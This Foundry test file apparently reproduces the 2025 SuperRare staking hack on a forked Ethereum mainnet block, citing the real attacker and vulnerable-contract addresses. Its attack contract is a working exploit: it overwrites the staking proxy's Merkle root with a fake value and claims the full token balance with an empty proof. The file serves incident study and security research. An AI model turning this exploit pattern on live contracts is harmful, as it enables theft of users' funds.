src/test/2025-07/SuperRare_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 730K USD
8// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
9// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab
10// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/SlowMist_Team/status/1949770231733530682
19// Hacking God : https://blog.solidityscan.com/superrare-hack-analysis-488d544d89e0
20pragma solidity ^0.8.0;
21 
22address constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;
23address constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;
24address constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;
25address constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;
26 
27// 1753690919
28contract SuperRare is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 23016423 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = RARE_TOKEN;
35    }
36 
37    function testExploit() public balanceLog {
38        // deploy attack contract and etch it to ATTACK_CONTRACT address
39        AttackContract acTemp = new AttackContract();
40        bytes memory code = address(acTemp).code;
41        vm.etch(ATTACK_CONTRACT, code);
42        AttackContract ac = AttackContract(ATTACK_CONTRACT);
43 
44        uint256 stakingContractBalance = ac.getStakingContractBalance();
45        console.log("stakingContractBalance", stakingContractBalance);
46        // 11907874713019104529057960
47    
48        uint256 tokenBalance = ac.getTokenBalance();
49        console.log("attackContract Balance Before", tokenBalance);
50        // 0
51 
52        bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
53        ac.attack(fakeRoot, stakingContractBalance);
54 
55        uint256 tokenBalanceAfter = ac.getTokenBalance();
56        console.log("attackContract Balance After", tokenBalanceAfter);
57        // 11907874713019104529057960
58    }
59}
60 
61contract AttackContract {
62    function getStakingContractBalance() public view returns (uint256) {
63        return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);
64    }
65    function getTokenBalance() public view returns (uint256) {
66        return IERC20(RARE_TOKEN).balanceOf(address(this));
67    }
68    function attack(bytes32 newRoot, uint256 amout) public {
69        IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
70        target.updateMerkleRoot(newRoot);
71        bytes32[] memory proof = new bytes32[](0);
72        target.claim(amout, proof);
73    }
74}
75 
76interface IERC1967Proxy {
77    function updateMerkleRoot(bytes32 newRoot) external;
78    function claim(uint256 amount, bytes32[] calldata proof) external;
79}